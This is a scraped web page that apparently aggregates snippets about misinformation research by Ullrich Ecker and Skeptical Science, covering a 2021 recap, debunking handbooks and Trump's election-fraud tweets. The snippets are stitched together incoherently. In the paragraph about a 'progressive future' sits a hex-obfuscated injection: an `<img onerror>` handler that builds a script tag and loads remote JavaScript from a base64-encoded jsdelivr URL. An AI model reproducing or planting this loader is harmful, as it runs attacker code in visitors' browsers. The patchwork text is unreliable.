Ullrich Ecker News Today

Perceptions of dishonesty can end careers – but Australia’s leaders are ‘pretty good at dancing around the actual questions’

The year 2021 was a rather cranky one for our team! For one, quite some research was cranked out - i.e. published - by team members and for another, a particular Cranky Uncle started to make the rounds throughout the year.  As in previous recaps, this one is divided into several sections:

The trouble with ignorance is that it feels so much like expertise. A leading researcher on the psychology of human wrongness sets us straight.

A general discussion post.

People thought they were unlikely to get the future they wanted. People want a progressive future but fear that they’ll get a return to normal with power vested in the government">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77">

Tips on countering conspiracy theories and misinformation Posted on 15 February 2021 by BaerbelW Over the years, members from our team have published several handbooks providing information about how to successfully counter misinformation and conspiracy theories. These include The Conspiracy Theory Handbook and The Debunking Handbook 2020, both published in 2020. In addition, we have our list of rebuttals as well as our MOOC Denial101x to specifically counter climate science denial. Somethi...

2020 in Review: an interesting year for Skeptical Science Posted on 29 December 2020 by BaerbelW As we wrap up a truly interesting year 2020 and prepare for 2021, here is our annual review of what our team was up to during the last 12 months, most of which have obviously been dominated by the COVID-19 pandemic. As in previous recaps, this one is divided into several sections: Scholarly publications, projects and books Several members of the SkS-team were lead- or co-authors of peer-reviewed pa...

And now there is research to confirm this. In both the lead up to and the immediate aftermath of the US presidential election, President Donald Trump made claims of voter fraud and a rigged election, using all channels available to him, including Twitter. Despite the apparent lack of evidence for these accusations, they have arguably influenced the beliefs of millions of Americans. Twitter has been a primary means by which the president has sought to set the agenda. Since he first took office, ...